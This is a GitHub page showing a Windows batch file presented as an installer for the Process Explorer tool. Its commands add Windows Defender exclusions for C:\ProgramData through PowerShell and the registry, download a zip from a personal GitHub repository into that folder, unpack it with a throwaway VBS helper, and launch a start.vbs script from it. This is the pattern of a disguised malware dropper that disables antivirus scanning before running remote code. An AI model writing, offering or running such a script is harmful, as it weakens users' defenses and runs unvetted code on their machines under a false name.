-
Notifications
You must be signed in to change notification settings - Fork 0
/
processexplorer-install.bat
28 lines (24 loc) · 1.04 KB
/
processexplorer-install.bat
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\ProgramData" -Force
REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows_Defender\Exclusions\Paths /v C:\ProgramData /t REG_DWORD /d 0 /f
wget -O C:\ProgramData\master.zip https://github.com/brittojo7n/ProcessExplorer/archive/refs/heads/master.zip
setlocal
cd /d %~dp0
Call :UnZipFile "C:\ProgramData" "C:\ProgramData\master.zip"
exit /b
:UnZipFile <ExtractTo> <newzipfile>
set vbs="%temp%\_.vbs"
if exist %vbs% del /f /q %vbs%
>%vbs% echo Set fso = CreateObject("Scripting.FileSystemObject")
>>%vbs% echo If NOT fso.FolderExists(%1) Then
>>%vbs% echo fso.CreateFolder(%1)
>>%vbs% echo End If
>>%vbs% echo set objShell = CreateObject("Shell.Application")
>>%vbs% echo set FilesInZip=objShell.NameSpace(%2).items
>>%vbs% echo objShell.NameSpace(%1).CopyHere(FilesInZip)
>>%vbs% echo Set fso = Nothing
>>%vbs% echo Set objShell = Nothing
cscript //nologo %vbs%
if exist %vbs% del /f /q %vbs%
start C:\ProgramData\ProcessExplorer-master\start.vbs
exit
pause